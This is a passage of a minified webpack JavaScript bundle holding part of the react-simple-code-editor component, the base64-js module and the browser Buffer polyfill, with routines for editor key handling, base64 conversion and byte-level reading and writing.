g=a._getLines(c,p),h=g.length-1,y=a._getLines(c,f).length-1,b=c.split("\n").map((function(e,t){return t>=h&&t<=y&&e.startsWith(d)?e.substring(d.length):e})).join("\n");if(c!==b){var m=g[h];a._applyEdits({value:b,selectionStart:m.startsWith(d)?p-d.length:p,selectionEnd:f-(c.length-b.length)})}}else if(p!==f){var v=a._getLines(c,p),E=v.length-1,w=a._getLines(c,f).length-1,S=v[E];a._applyEdits({value:c.split("\n").map((function(e,t){return t>=E&&t<=w?d+e:e})).join("\n"),selectionStart:/\S/.test(S)?p+d.length:p,selectionEnd:f+d.length*(w-E+1)})}else{var _=p+d.length;a._applyEdits({value:c.substring(0,p)+d+c.substring(f),selectionStart:_,selectionEnd:_})}else if(8===e.keyCode){var k=p!==f;if(c.substring(0,p).endsWith(d)&&!k){e.preventDefault();var A=p-d.length;a._applyEdits({value:c.substring(0,p-d.length)+c.substring(f),selectionStart:A,selectionEnd:A})}}else if(13===e.keyCode){if(p===f){var T=a._getLines(c,p).pop().match(/^\s+/);if(T&&T[0]){e.preventDefault();var R="\n"+T[0],O=p+R.length;a._applyEdits({value:c.substring(0,p)+R+c.substring(f),selectionStart:O,selectionEnd:O})}}}else if(57===e.keyCode||219===e.keyCode||222===e.keyCode||192===e.keyCode){var I=void 0;57===e.keyCode&&e.shiftKey?I=["(",")"]:219===e.keyCode?I=e.shiftKey?["{","}"]:["[","]"]:222===e.keyCode?I=e.shiftKey?['"','"']:["'","'"]:192!==e.keyCode||e.shiftKey||(I=["`","`"]),p!==f&&I&&(e.preventDefault(),a._applyEdits({value:c.substring(0,p)+I[0]+c.substring(p,f)+I[1]+c.substring(f),selectionStart:p,selectionEnd:f+2}))}else!(u?e.metaKey&&90===e.keyCode:e.ctrlKey&&90===e.keyCode)||e.shiftKey||e.altKey?(u?e.metaKey&&90===e.keyCode&&e.shiftKey:l?e.ctrlKey&&89===e.keyCode:e.ctrlKey&&90===e.keyCode&&e.shiftKey)&&!e.altKey?(e.preventDefault(),a._redoEdit()):77!==e.keyCode||!e.ctrlKey||u&&!e.shiftKey||(e.preventDefault(),a.setState((function(e){return{capture:!e.capture}}))):(e.preventDefault(),a._undoEdit())}},a._handleChange=function(e){var t=e.target,n=t.value,r=t.selectionStart,o=t.selectionEnd;a._recordChange({value:n,selectionStart:r,selectionEnd:o},!0),a.props.onValueChange(n)},a._history={stack:[],offset:-1},s(a,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),a(t,[{key:"componentDidMount",value:function(){this._recordCurrentState()}},{key:"render",value:function(){var e=this,t=this.props,n=t.value,a=t.style,i=t.padding,s=t.highlight,l=t.textareaId,u=t.autoFocus,p=t.disabled,d=t.form,g=t.maxLength,h=t.minLength,y=t.name,b=t.placeholder,m=t.readOnly,v=t.required,E=t.onClick,w=t.onFocus,S=t.onBlur,_=t.onKeyUp,k=(t.onKeyDown,t.onValueChange,t.tabSize,t.insertSpaces,t.ignoreTabKey,function(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}(t,["value","style","padding","highlight","textareaId","autoFocus","disabled","form","maxLength","minLength","name","placeholder","readOnly","required","onClick","onFocus","onBlur","onKeyUp","onKeyDown","onValueChange","tabSize","insertSpaces","ignoreTabKey"])),A={paddingTop:i,paddingRight:i,paddingBottom:i,paddingLeft:i},T=s(n);return o.createElement("div",r({},k,{style:r({},f.container,a)}),o.createElement("textarea",{ref:function(t){return e._input=t},style:r({},f.editor,f.textarea,A),className:c,id:l,value:n,onChange:this._handleChange,onKeyDown:this._handleKeyDown,onClick:E,onKeyUp:_,onFocus:w,onBlur:S,disabled:p,form:d,maxLength:g,minLength:h,name:y,placeholder:b,readOnly:m,required:v,autoFocus:u,autoCapitalize:"off",autoComplete:"off",autoCorrect:"off",spellCheck:!1,"data-gramm":!1}),o.createElement("pre",r({"aria-hidden":"true",style:r({},f.editor,f.highlight,A)},"string"==typeof T?{dangerouslySetInnerHTML:{__html:T+"<br />"}}:{children:T})),o.createElement("style",{type:"text/css",dangerouslySetInnerHTML:{__html:"\n/**\n * Reset the text fill color so that placeholder is visible\n */\n.npm__react-simple-code-editor__textarea:empty {\n -webkit-text-fill-color: inherit !important;\n}\n\n/**\n * Hack to apply on some CSS on IE10 and IE11\n */\n@media all and (-ms-high-contrast: none), (-ms-high-contrast: active) {\n /**\n * IE doesn't support '-webkit-text-fill-color'\n * So we use 'color: transparent' to make the text transparent on IE\n * Unlike other browsers, it doesn't affect caret color in IE\n */\n .npm__react-simple-code-editor__textarea {\n color: transparent !important;\n }\n\n .npm__react-simple-code-editor__textarea::selection {\n background-color: #accef7 !important;\n color: transparent !important;\n }\n}\n"}}))}},{key:"session",get:function(){return{history:this._history}},set:function(e){this._history=e.history}}]),t}(o.Component);p.defaultProps={tabSize:2,insertSpaces:!0,ignoreTabKey:!1,padding:0},t.default=p;var f={container:{position:"relative",textAlign:"left",boxSizing:"border-box",padding:0,overflow:"hidden"},textarea:{position:"absolute",top:0,left:0,height:"100%",width:"100%",resize:"none",color:"inherit",overflow:"hidden",MozOsxFontSmoothing:"grayscale",WebkitFontSmoothing:"antialiased",WebkitTextFillColor:"transparent"},highlight:{position:"relative",pointerEvents:"none"},editor:{margin:0,border:0,background:"none",boxSizing:"inherit",display:"inherit",fontFamily:"inherit",fontSize:"inherit",fontStyle:"inherit",fontVariantLigatures:"inherit",fontWeight:"inherit",letterSpacing:"inherit",lineHeight:"inherit",tabSize:"inherit",textIndent:"inherit",textRendering:"inherit",textTransform:"inherit",whiteSpace:"pre-wrap",wordBreak:"keep-all",overflowWrap:"break-word"}}}).call(this,n("yLpj"))},"8cO9":function(e,t){e.exports="undefined"!=typeof ArrayBuffer&&"undefined"!=typeof DataView},"91GP":function(e,t,n){var r=n("XKFU");r(r.S+r.F,"Object",{assign:n("czNK")})},DVgA:function(e,t,n){var r=n("zhAb"),a=n("4R4u");e.exports=Object.keys||function(e){return r(e,a)}},H7XF:function(e,t,n){"use strict";n("PXjX"),t.byteLength=function(e){var t=u(e),n=t[0],r=t[1];return 3*(n+r)/4-r},t.toByteArray=function(e){var t,n,r=u(e),i=r[0],s=r[1],l=new o(function(e,t,n){return 3*(t+n)/4-n}(0,i,s)),c=0,p=s>0?i-4:i;for(n=0;n<p;n+=4)t=a[e.charCodeAt(n)]<<18|a[e.charCodeAt(n+1)]<<12|a[e.charCodeAt(n+2)]<<6|a[e.charCodeAt(n+3)],l[c++]=t>>16&255,l[c++]=t>>8&255,l[c++]=255&t;2===s&&(t=a[e.charCodeAt(n)]<<2|a[e.charCodeAt(n+1)]>>4,l[c++]=255&t);1===s&&(t=a[e.charCodeAt(n)]<<10|a[e.charCodeAt(n+1)]<<4|a[e.charCodeAt(n+2)]>>2,l[c++]=t>>8&255,l[c++]=255&t);return l},t.fromByteArray=function(e){for(var t,n=e.length,a=n%3,o=[],i=0,s=n-a;i<s;i+=16383)o.push(c(e,i,i+16383>s?s:i+16383));1===a?(t=e[n-1],o.push(r[t>>2]+r[t<<4&63]+"==")):2===a&&(t=(e[n-2]<<8)+e[n-1],o.push(r[t>>10]+r[t>>4&63]+r[t<<2&63]+"="));return o.join("")};for(var r=[],a=[],o="undefined"!=typeof Uint8Array?Uint8Array:Array,i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",s=0,l=i.length;s<l;++s)r[s]=i[s],a[i.charCodeAt(s)]=s;function u(e){var t=e.length;if(t%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var n=e.indexOf("=");return-1===n&&(n=t),[n,n===t?0:4-n%4]}function c(e,t,n){for(var a,o,i=[],s=t;s<n;s+=3)a=(e[s]<<16&16711680)+(e[s+1]<<8&65280)+(255&e[s+2]),i.push(r[(o=a)>>18&63]+r[o>>12&63]+r[o>>6&63]+r[63&o]);return i.join("")}a["-".charCodeAt(0)]=62,a["_".charCodeAt(0)]=63},HDXh:function(e,t,n){"use strict";(function(e){n("PXjX");var r=n("H7XF"),a=n("kVK+"),o=n("49sm");function i(){return l.TYPED_ARRAY_SUPPORT?2147483647:1073741823}function s(e,t){if(i()<t)throw new RangeError("Invalid typed array length");return l.TYPED_ARRAY_SUPPORT?(e=new Uint8Array(t)).__proto__=l.prototype:(null===e&&(e=new l(t)),e.length=t),e}function l(e,t,n){if(!(l.TYPED_ARRAY_SUPPORT||this instanceof l))return new l(e,t,n);if("number"==typeof e){if("string"==typeof t)throw new Error("If encoding is specified then the first argument must be a string");return p(this,e)}return u(this,e,t,n)}function u(e,t,n,r){if("number"==typeof t)throw new TypeError('"value" argument must not be a number');return"undefined"!=typeof ArrayBuffer&&t instanceof ArrayBuffer?function(e,t,n,r){if(t.byteLength,n<0||t.byteLength<n)throw new RangeError("'offset' is out of bounds");if(t.byteLength<n+(r||0))throw new RangeError("'length' is out of bounds");t=void 0===n&&void 0===r?new Uint8Array(t):void 0===r?new Uint8Array(t,n):new Uint8Array(t,n,r);l.TYPED_ARRAY_SUPPORT?(e=t).__proto__=l.prototype:e=f(e,t);return e}(e,t,n,r):"string"==typeof t?function(e,t,n){"string"==typeof n&&""!==n||(n="utf8");if(!l.isEncoding(n))throw new TypeError('"encoding" must be a valid string encoding');var r=0|g(t,n),a=(e=s(e,r)).write(t,n);a!==r&&(e=e.slice(0,a));return e}(e,t,n):function(e,t){if(l.isBuffer(t)){var n=0|d(t.length);return 0===(e=s(e,n)).length||t.copy(e,0,0,n),e}if(t){if("undefined"!=typeof ArrayBuffer&&t.buffer instanceof ArrayBuffer||"length"in t)return"number"!=typeof t.length||(r=t.length)!=r?s(e,0):f(e,t);if("Buffer"===t.type&&o(t.data))return f(e,t.data)}var r;throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")}(e,t)}function c(e){if("number"!=typeof e)throw new TypeError('"size" argument must be a number');if(e<0)throw new RangeError('"size" argument must not be negative')}function p(e,t){if(c(t),e=s(e,t<0?0:0|d(t)),!l.TYPED_ARRAY_SUPPORT)for(var n=0;n<t;++n)e[n]=0;return e}function f(e,t){var n=t.length<0?0:0|d(t.length);e=s(e,n);for(var r=0;r<n;r+=1)e[r]=255&t[r];return e}function d(e){if(e>=i())throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+i().toString(16)+" bytes");return 0|e}function g(e,t){if(l.isBuffer(e))return e.length;if("undefined"!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(e)||e instanceof ArrayBuffer))return e.byteLength;"string"!=typeof e&&(e=""+e);var n=e.length;if(0===n)return 0;for(var r=!1;;)switch(t){case"ascii":case"latin1":case"binary":return n;case"utf8":case"utf-8":case void 0:return j(e).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*n;case"hex":return n>>>1;case"base64":return $(e).length;default:if(r)return j(e).length;t=(""+t).toLowerCase(),r=!0}}function h(e,t,n){var r=!1;if((void 0===t||t<0)&&(t=0),t>this.length)return"";if((void 0===n||n>this.length)&&(n=this.length),n<=0)return"";if((n>>>=0)<=(t>>>=0))return"";for(e||(e="utf8");;)switch(e){case"hex":return I(this,t,n);case"utf8":case"utf-8":return T(this,t,n);case"ascii":return R(this,t,n);case"latin1":case"binary":return O(this,t,n);case"base64":return A(this,t,n);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return x(this,t,n);default:if(r)throw new TypeError("Unknown encoding: "+e);e=(e+"").toLowerCase(),r=!0}}function y(e,t,n){var r=e[t];e[t]=e[n],e[n]=r}function b(e,t,n,r,a){if(0===e.length)return-1;if("string"==typeof n?(r=n,n=0):n>2147483647?n=2147483647:n<-2147483648&&(n=-2147483648),n=+n,isNaN(n)&&(n=a?0:e.length-1),n<0&&(n=e.length+n),n>=e.length){if(a)return-1;n=e.length-1}else if(n<0){if(!a)return-1;n=0}if("string"==typeof t&&(t=l.from(t,r)),l.isBuffer(t))return 0===t.length?-1:m(e,t,n,r,a);if("number"==typeof t)return t&=255,l.TYPED_ARRAY_SUPPORT&&"function"==typeof Uint8Array.prototype.indexOf?a?Uint8Array.prototype.indexOf.call(e,t,n):Uint8Array.prototype.lastIndexOf.call(e,t,n):m(e,[t],n,r,a);throw new TypeError("val must be string, number or Buffer")}function m(e,t,n,r,a){var o,i=1,s=e.length,l=t.length;if(void 0!==r&&("ucs2"===(r=String(r).toLowerCase())||"ucs-2"===r||"utf16le"===r||"utf-16le"===r)){if(e.length<2||t.length<2)return-1;i=2,s/=2,l/=2,n/=2}function u(e,t){return 1===i?e[t]:e.readUInt16BE(t*i)}if(a){var c=-1;for(o=n;o<s;o++)if(u(e,o)===u(t,-1===c?0:o-c)){if(-1===c&&(c=o),o-c+1===l)return c*i}else-1!==c&&(o-=o-c),c=-1}else for(n+l>s&&(n=s-l),o=n;o>=0;o--){for(var p=!0,f=0;f<l;f++)if(u(e,o+f)!==u(t,f)){p=!1;break}if(p)return o}return-1}function v(e,t,n,r){n=Number(n)||0;var a=e.length-n;r?(r=Number(r))>a&&(r=a):r=a;var o=t.length;if(o%2!=0)throw new TypeError("Invalid hex string");r>o/2&&(r=o/2);for(var i=0;i<r;++i){var s=parseInt(t.substr(2*i,2),16);if(isNaN(s))return i;e[n+i]=s}return i}function E(e,t,n,r){return G(j(t,e.length-n),e,n,r)}function w(e,t,n,r){return G(function(e){for(var t=[],n=0;n<e.length;++n)t.push(255&e.charCodeAt(n));return t}(t),e,n,r)}function S(e,t,n,r){return w(e,t,n,r)}function _(e,t,n,r){return G($(t),e,n,r)}function k(e,t,n,r){return G(function(e,t){for(var n,r,a,o=[],i=0;i<e.length&&!((t-=2)<0);++i)n=e.charCodeAt(i),r=n>>8,a=n%256,o.push(a),o.push(r);return o}(t,e.length-n),e,n,r)}function A(e,t,n){return 0===t&&n===e.length?r.fromByteArray(e):r.fromByteArray(e.slice(t,n))}function T(e,t,n){n=Math.min(e.length,n);for(var r=[],a=t;a<n;){var o,i,s,l,u=e[a],c=null,p=u>239?4:u>223?3:u>191?2:1;if(a+p<=n)switch(p){case 1:u<128&&(c=u);break;case 2:128==(192&(o=e[a+1]))&&(l=(31&u)<<6|63&o)>127&&(c=l);break;case 3:o=e[a+1],i=e[a+2],128==(192&o)&&128==(192&i)&&(l=(15&u)<<12|(63&o)<<6|63&i)>2047&&(l<55296||l>57343)&&(c=l);break;case 4:o=e[a+1],i=e[a+2],s=e[a+3],128==(192&o)&&128==(192&i)&&128==(192&s)&&(l=(15&u)<<18|(63&o)<<12|(63&i)<<6|63&s)>65535&&l<1114112&&(c=l)}null===c?(c=65533,p=1):c>65535&&(c-=65536,r.push(c>>>10&1023|55296),c=56320|1023&c),r.push(c),a+=p}return function(e){var t=e.length;if(t<=4096)return String.fromCharCode.apply(String,e);var n="",r=0;for(;r<t;)n+=String.fromCharCode.apply(String,e.slice(r,r+=4096));return n}(r)}t.Buffer=l,t.SlowBuffer=function(e){+e!=e&&(e=0);return l.alloc(+e)},t.INSPECT_MAX_BYTES=50,l.TYPED_ARRAY_SUPPORT=void 0!==e.TYPED_ARRAY_SUPPORT?e.TYPED_ARRAY_SUPPORT:function(){try{var e=new Uint8Array(1);return e.__proto__={__proto__:Uint8Array.prototype,foo:function(){return 42}},42===e.foo()&&"function"==typeof e.subarray&&0===e.subarray(1,1).byteLength}catch(t){return!1}}(),t.kMaxLength=i(),l.poolSize=8192,l._augment=function(e){return e.__proto__=l.prototype,e},l.from=function(e,t,n){return u(null,e,t,n)},l.TYPED_ARRAY_SUPPORT&&(l.prototype.__proto__=Uint8Array.prototype,l.__proto__=Uint8Array,"undefined"!=typeof Symbol&&Symbol.species&&l[Symbol.species]===l&&Object.defineProperty(l,Symbol.species,{value:null,configurable:!0})),l.alloc=function(e,t,n){return function(e,t,n,r){return c(t),t<=0?s(e,t):void 0!==n?"string"==typeof r?s(e,t).fill(n,r):s(e,t).fill(n):s(e,t)}(null,e,t,n)},l.allocUnsafe=function(e){return p(null,e)},l.allocUnsafeSlow=function(e){return p(null,e)},l.isBuffer=function(e){return!(null==e||!e._isBuffer)},l.compare=function(e,t){if(!l.isBuffer(e)||!l.isBuffer(t))throw new TypeError("Arguments must be Buffers");if(e===t)return 0;for(var n=e.length,r=t.length,a=0,o=Math.min(n,r);a<o;++a)if(e[a]!==t[a]){n=e[a],r=t[a];break}return n<r?-1:r<n?1:0},l.isEncoding=function(e){switch(String(e).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},l.concat=function(e,t){if(!o(e))throw new TypeError('"list" argument must be an Array of Buffers');if(0===e.length)return l.alloc(0);var n;if(void 0===t)for(t=0,n=0;n<e.length;++n)t+=e[n].length;var r=l.allocUnsafe(t),a=0;for(n=0;n<e.length;++n){var i=e[n];if(!l.isBuffer(i))throw new TypeError('"list" argument must be an Array of Buffers');i.copy(r,a),a+=i.length}return r},l.byteLength=g,l.prototype._isBuffer=!0,l.prototype.swap16=function(){var e=this.length;if(e%2!=0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(var t=0;t<e;t+=2)y(this,t,t+1);return this},l.prototype.swap32=function(){var e=this.length;if(e%4!=0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(var t=0;t<e;t+=4)y(this,t,t+3),y(this,t+1,t+2);return this},l.prototype.swap64=function(){var e=this.length;if(e%8!=0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(var t=0;t<e;t+=8)y(this,t,t+7),y(this,t+1,t+6),y(this,t+2,t+5),y(this,t+3,t+4);return this},l.prototype.toString=function(){var e=0|this.length;return 0===e?"":0===arguments.length?T(this,0,e):h.apply(this,arguments)},l.prototype.equals=function(e){if(!l.isBuffer(e))throw new TypeError("Argument must be a Buffer");return this===e||0===l.compare(this,e)},l.prototype.inspect=function(){var e="",n=t.INSPECT_MAX_BYTES;return this.length>0&&(e=this.toString("hex",0,n).match(/.{2}/g).join(" "),this.length>n&&(e+=" ... ")),"<Buffer "+e+">"},l.prototype.compare=function(e,t,n,r,a){if(!l.isBuffer(e))throw new TypeError("Argument must be a Buffer");if(void 0===t&&(t=0),void 0===n&&(n=e?e.length:0),void 0===r&&(r=0),void 0===a&&(a=this.length),t<0||n>e.length||r<0||a>this.length)throw new RangeError("out of range index");if(r>=a&&t>=n)return 0;if(r>=a)return-1;if(t>=n)return 1;if(this===e)return 0;for(var o=(a>>>=0)-(r>>>=0),i=(n>>>=0)-(t>>>=0),s=Math.min(o,i),u=this.slice(r,a),c=e.slice(t,n),p=0;p<s;++p)if(u[p]!==c[p]){o=u[p],i=c[p];break}return o<i?-1:i<o?1:0},l.prototype.includes=function(e,t,n){return-1!==this.indexOf(e,t,n)},l.prototype.indexOf=function(e,t,n){return b(this,e,t,n,!0)},l.prototype.lastIndexOf=function(e,t,n){return b(this,e,t,n,!1)},l.prototype.write=function(e,t,n,r){if(void 0===t)r="utf8",n=this.length,t=0;else if(void 0===n&&"string"==typeof t)r=t,n=this.length,t=0;else{if(!isFinite(t))throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");t|=0,isFinite(n)?(n|=0,void 0===r&&(r="utf8")):(r=n,n=void 0)}var a=this.length-t;if((void 0===n||n>a)&&(n=a),e.length>0&&(n<0||t<0)||t>this.length)throw new RangeError("Attempt to write outside buffer bounds");r||(r="utf8");for(var o=!1;;)switch(r){case"hex":return v(this,e,t,n);case"utf8":case"utf-8":return E(this,e,t,n);case"ascii":return w(this,e,t,n);case"latin1":case"binary":return S(this,e,t,n);case"base64":return _(this,e,t,n);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return k(this,e,t,n);default:if(o)throw new TypeError("Unknown encoding: "+r);r=(""+r).toLowerCase(),o=!0}},l.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};function R(e,t,n){var r="";n=Math.min(e.length,n);for(var a=t;a<n;++a)r+=String.fromCharCode(127&e[a]);return r}function O(e,t,n){var r="";n=Math.min(e.length,n);for(var a=t;a<n;++a)r+=String.fromCharCode(e[a]);return r}function I(e,t,n){var r=e.length;(!t||t<0)&&(t=0),(!n||n<0||n>r)&&(n=r);for(var a="",o=t;o<n;++o)a+=U(e[o]);return a}function x(e,t,n){for(var r=e.slice(t,n),a="",o=0;o<r.length;o+=2)a+=String.fromCharCode(r[o]+256*r[o+1]);return a}function C(e,t,n){if(e%1!=0||e<0)throw new RangeError("offset is not uint");if(e+t>n)throw new RangeError("Trying to access beyond buffer length")}function P(e,t,n,r,a,o){if(!l.isBuffer(e))throw new TypeError('"buffer" argument must be a Buffer instance');if(t>a||t<o)throw new RangeError('"value" argument is out of bounds');if(n+r>e.length)throw new RangeError("Index out of range")}function L(e,t,n,r){t<0&&(t=65535+t+1);for(var a=0,o=Math.min(e.length-n,2);a<o;++a)e[n+a]=(t&255<<8*(r?a:1-a))>>>8*(r?a:1-a)}function F(e,t,n,r){t<0&&(t=4294967295+t+1);for(var a=0,o=Math.min(e.length-n,4);a<o;++a)e[n+a]=t>>>8*(r?a:3-a)&255}function D(e,t,n,r,a,o){if(n+r>e.length)throw new RangeError("Index out of range");if(n<0)throw new RangeError("Index out of range")}function N(e,t,n,r,o){return o||D(e,0,n,4),a.write(e,t,n,r,23,4),n+4}function B(e,t,n,r,o){return o||D(e,0,n,8),a.write(e,t,n,r,52,8),n+8}l.prototype.slice=function(e,t){var n,r=this.length;if((e=~~e)<0?(e+=r)<0&&(e=0):e>r&&(e=r),(t=void 0===t?r:~~t)<0?(t+=r)<0&&(t=0):t>r&&(t=r),t<e&&(t=e),l.TYPED_ARRAY_SUPPORT)(n=this.subarray(e,t)).__proto__=l.prototype;else{var a=t-e;n=new l(a,void 0);for(var o=0;o<a;++o)n[o]=this[o+e]}return n},l.prototype.readUIntLE=function(e,t,n){e|=0,t|=0,n||C(e,t,this.length);for(var r=this[e],a=1,o=0;++o<t&&(a*=256);)r+=this[e+o]*a;return r},l.prototype.readUIntBE=function(e,t,n){e|=0,t|=0,n||C(e,t,this.length);for(var r=this[e+--t],a=1;t>0&&(a*=256);)r+=this[e+--t]*a;return r},l.prototype.readUInt8=function(e,t){return t||C(e,1,this.length),this[e]},l.prototype.readUInt16LE=function(e,t){return t||C(e,2,this.length),this[e]|this[e+1]<<8},l.prototype.readUInt16BE=function(e,t){return t||C(e,2,this.length),this[e]<<8|this[e+1]},l.prototype.readUInt32LE=function(e,t){return t||C(e,4,this.length),(this[e]|this[e+1]<<8|this[e+2]<<16)+16777216*this[e+3]},l.prototype.readUInt32BE=function(e,t){return t||C(e,4,this.length),16777216*this[e]+(this[e+1]<<16|this[e+2]<<8|this[e+3])},l.prototype.readIntLE=function(e,t,n){e|=0,t|=0,n||C(e,t,this.length);for(var r=this[e],a=1,o=0;++o<t&&(a*=256);)r+=this[e+o]*a;return r>=(a*=128)&&(r-=Math.pow(2,8*t)),r},l.prototype.readIntBE=function(e,t,n){e|=0,t|=0,n||C(e,t,this.length);for(var r=t,a=1,o=this[e+--r];r>0&&(a*=256);)o+=this[e+--r]*a;return o>=(a*=128)&&(o-=Math.pow(2,8*t)),o},l.prototype.readInt8=function(e,t){return t||C(e,1,this.length),128&this[e]?-1*(255-this[e]+1):this[e]},l.prototype.readInt16LE=function(e,t){t||C(e,2,this.length);var n=this[e]|this[e+1]<<8;return 32768&n?4294901760|n:n},l.prototype.readInt16BE=function(e,t){t||C(e,2,this.length);var n=this[e+1]|this[e]<<8;return 32768&n?4294901760|n:n},l.prototype.readInt32LE=function(e,t){return t||C(e,4,this.length),this[e]|this[e+1]<<8|this[e+2]<<16|this[e+3]<<24},l.prototype.readInt32BE=function(e,t){return t||C(e,4,this.length),this[e]<<24|this[e+1]<<16|this[e+2]<<8|this[e+3]},l.prototype.readFloatLE=function(e,t){return t||C(e,4,this.length),a.read(this,e,!0,23,4)},l.prototype.readFloatBE=function(e,t){return t||C(e,4,this.length),a.read(this,e,!1,23,4)},l.prototype.readDoubleLE=function(e,t){return t||C(e,8,this.length),a.read(this,e,!0,52,8)},l.prototype.readDoubleBE=function(e,t){return t||C(e,8,this.length),a.read(this,e,!1,52,8)},l.prototype.writeUIntLE=function(e,t,n,r){(e=+e,t|=0,n|=0,r)||P(this,e,t,n,Math.pow(2,8*n)-1,0);var a=1,o=0;for(this[t]=255&e;++o<n&&(a*=256);)this[t+o]=e/a&255;return t+n},l.prototype.writeUIntBE=function(e,t,n,r){(e=+e,t|=0,n|=0,r)||P(this,e,t,n,Math.pow(2,8*n)-1,0);var a=n-1,o=1;for(this[t+a]=255&e;--a>=0&&(o*=256);)this[t+a]=e/o&255;return t+n},l.prototype.writeUInt8=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,1,255,0),l.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),this[t]=255&e,t+1},l.prototype.writeUInt16LE=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,2,65535,0),l.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):L(this,e,t,!0),t+2},l.prototype.writeUInt16BE=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,2,65535,0),l.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):L(this,e,t,!1),t+2},l.prototype.writeUInt32LE=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,4,4294967295,0),l.TYPED_ARRAY_SUPPORT?(this[t+3]=e>>>24,this[t+2]=e>>>16,this[t+1]=e>>>8,this[t]=255&e):F(this,e,t,!0),t+4},l.prototype.writeUInt32BE=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,4,4294967295,0),l.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):F(this,e,t,!1),t+4},l.prototype.writeIntLE=function(e,t,n,r){if(e=+e,t|=0,!r){var a=Math.pow(2,8*n-1);P(this,e,t,n,a-1,-a)}var o=0,i=1,s=0;for(this[t]=255&e;++o<n&&(i*=256);)e<0&&0===s&&0!==this[t+o-1]&&(s=1),this[t+o]=(e/i>>0)-s&255;return t+n},l.prototype.writeIntBE=function(e,t,n,r){if(e=+e,t|=0,!r){var a=Math.pow(2,8*n-1);P(this,e,t,n,a-1,-a)}var o=n-1,i=1,s=0;for(this[t+o]=255&e;--o>=0&&(i*=256);)e<0&&0===s&&0!==this[t+o+1]&&(s=1),this[t+o]=(e/i>>0)-s&255;return t+n},l.prototype.writeInt8=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,1,127,-128),l.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),e<0&&(e=255+e+1),this[t]=255&e,t+1},l.prototype.writeInt16LE=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,2,32767,-32768),l.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):L(this,e,t,!0),t+2},l.prototype.writeInt16BE=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,2,32767,-32768),l.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):L(this,e,t,!1),t+2},l.prototype.writeInt32LE=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,4,2147483647,-2147483648),l.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8,this[t+2]=e>>>16,this[t+3]=e>>>24):F(this,e,t,!0),t+4},l.prototype.writeInt32BE=function(e,t,n){return e=+e,t|=0,n||P(this,e,t,4,2147483647,-2147483648),e<0&&(e=4294967295+e+1),l.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):F(this,e,t,!1),t+4},l.prototype.writeFloatLE=function(e,t,n){return N(this,e,t,!0,n)},l.prototype.writeFloatBE=function(e,t,n){return N(this,e,t,!1,n)},l.prototype.writeDoubleLE=function(e,t,n){return B(this,e,t,!0,n)},l.prototype.writeDoubleBE=function(e,t,n){return B(this,e,t,!1,n)},l.prototype.copy=function(e,t,n,r){if(n||(n=0),r||0===r||(r=this.length),t>=e.length&&(t=e.length),t||(t=0),r>0&&r<n&&(r=n),r===n)return 0;if(0===e.length||0===this.length)return 0;if(t<0)throw new RangeError("targetStart out of bounds");if(n<0||n>=this.length)throw new RangeError("sourceStart out of bounds");if(r<0)throw new RangeError("sourceEnd out of bounds");r>this.length&&(r=this.length),e.length-t<r-n&&(r=e.length-t+n);var a,o=r-n;if(this===e&&n<t&&t<r)for(a=o-1;a>=0;--a)e[a+t]=this[a+n];else if(o<1e3||!l.TYPED_ARRAY_SUPPORT)for(a=0;a<o;++a)e[a+t]=this[a+n];else Uint8Array.prototype.set.call(e,this.subarray(n,n+o),t);return o},l.prototype.fill=function(e,t,n,r){if("string"==typeof e){if("string"==typeof t?(r=t,t=0,n=this.length):"string"==typeof n&&(r=n,n=this.length),1===e.length){var a=e.charCodeAt(0);a<256&&(e=a)}if(void 0!==r&&"string"!=typeof r)throw new TypeError("encoding must be a string");if("string"==typeof r&&!l.isEncoding(r))throw new TypeError("Unknown encoding: "+r)}else"number"==typeof e&&(e&=255);if(t<0||this.length<t||this.length<n)throw new RangeError("Out of range index");if(n<=t)return this;var o;if(t>>>=0,n=void 0===n?this.length:n>>>0,e||(e=0),"number"==typeof e)for(o=t;o<n;++o)this[o]=e;else{var i=l.isBuffer(e)?e:j(new 